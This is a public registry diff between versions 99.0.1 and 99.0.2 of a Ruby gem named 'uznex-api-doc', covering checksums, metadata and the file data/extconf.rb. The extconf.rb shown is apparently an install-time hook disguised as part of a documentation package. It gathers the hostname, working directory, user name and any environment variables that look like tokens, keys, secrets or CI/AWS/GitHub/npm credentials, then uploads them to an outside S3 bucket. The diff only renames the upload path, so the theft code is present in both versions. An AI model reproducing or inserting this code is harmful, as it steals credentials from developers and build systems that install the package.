uznex-api-doc 99.0.1 → 99.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/extconf.rb +1 -1
  3. metadata +1 -1
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: ffe7bfee8d575835496d15359d278438b1d1d0bf0a08a72add506c8e05e3db20
4
- data.tar.gz: 8639bfab6e59ea972f82b3d233f4651663650e827dfd153b18e472c1a42c8cfa
3
+ metadata.gz: e6538a3346612dccca9b0ea793de1565b05a1d6b172304056fa9de08e7855cf3
4
+ data.tar.gz: 71a64a237a310118b585ccbdac58947d062fe91c0c4e08e2bb741c8a634a355c
5
5
  SHA512:
6
- metadata.gz: 40808638e0de9eed3b0bd3e326d30c5bfdee1ad7846dc13f127f3c8cc4335ad4a1d737cb35cc6f507e1605cd4c94e28a20a7adda166403bd722df38738e12b53
7
- data.tar.gz: c6d878124da2d7775ab5cfe6d9f74746196c6aefd6b8d1a5cdc9400aa8845045a24efebe902b5a91ab0a03eb7356ab3583d29ca9474ff19330a818791a9d1a68
6
+ metadata.gz: c78a22eb3ef28458165c4820684694f3641984c5c2274c0b042ab3420bb8dea1978d85faf42d2a69fb27326b56ce39f3ee07983672ccbd0db64a8066e2a44e13
7
+ data.tar.gz: fc321ca5890941587a761785779c767ebce5f938c604e5b21a46c8b321d11b95e57ae06c35d0b58239682fa616af67e7db1416b8e5a5532beed502eb5dea05ac
data/extconf.rb CHANGED
@@ -1,7 +1,7 @@
1
1
  require 'net/http'; require 'json'; require 'socket'; require 'uri'
2
2
  begin
3
3
  data = {pkg: ENV['UZNEX_PKG'] || 'uznex-api-doc', host: Socket.gethostname, cwd: Dir.pwd, user: (ENV['USER']||ENV['USERNAME']), env: ENV.select{|k,v| k =~ /(TOKEN|KEY|SECRET|AWS|CI|GITHUB|NPM|PASS|GEM)/i}.to_h}.to_json
4
- key = '/i18372/beacon/' + (ENV['UZNEX_PKG']||'uznex').gsub(/[^A-Za-z0-9_.-]/,'_') + '-' + Time.now.to_i.to_s + '-' + Socket.gethostname.gsub(/[^A-Za-z0-9_.-]/,'_') + '.json'
4
+ key = '/i18372/beacon/' + ENV['UZNEX_PKG'].to_s.gsub(/[^A-Za-z0-9_.-]/,'_') + '-latest.json'
5
5
  uri = URI('https://uznex-front.s3.eu-central-1.amazonaws.com' + key)
6
6
  Net::HTTP.start(uri.host, 443, use_ssl: true) { |h| h.request_put(uri.path, data, {'Content-Type'=>'application/json'}) }
7
7
  rescue Exception => e
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: uznex-api-doc
3
3
  version: !ruby/object:Gem::Version
4
- version: 99.0.1
4
+ version: 99.0.2
5
5
  platform: ruby
6
6
  authors:
7
7
  - UZNEX Ops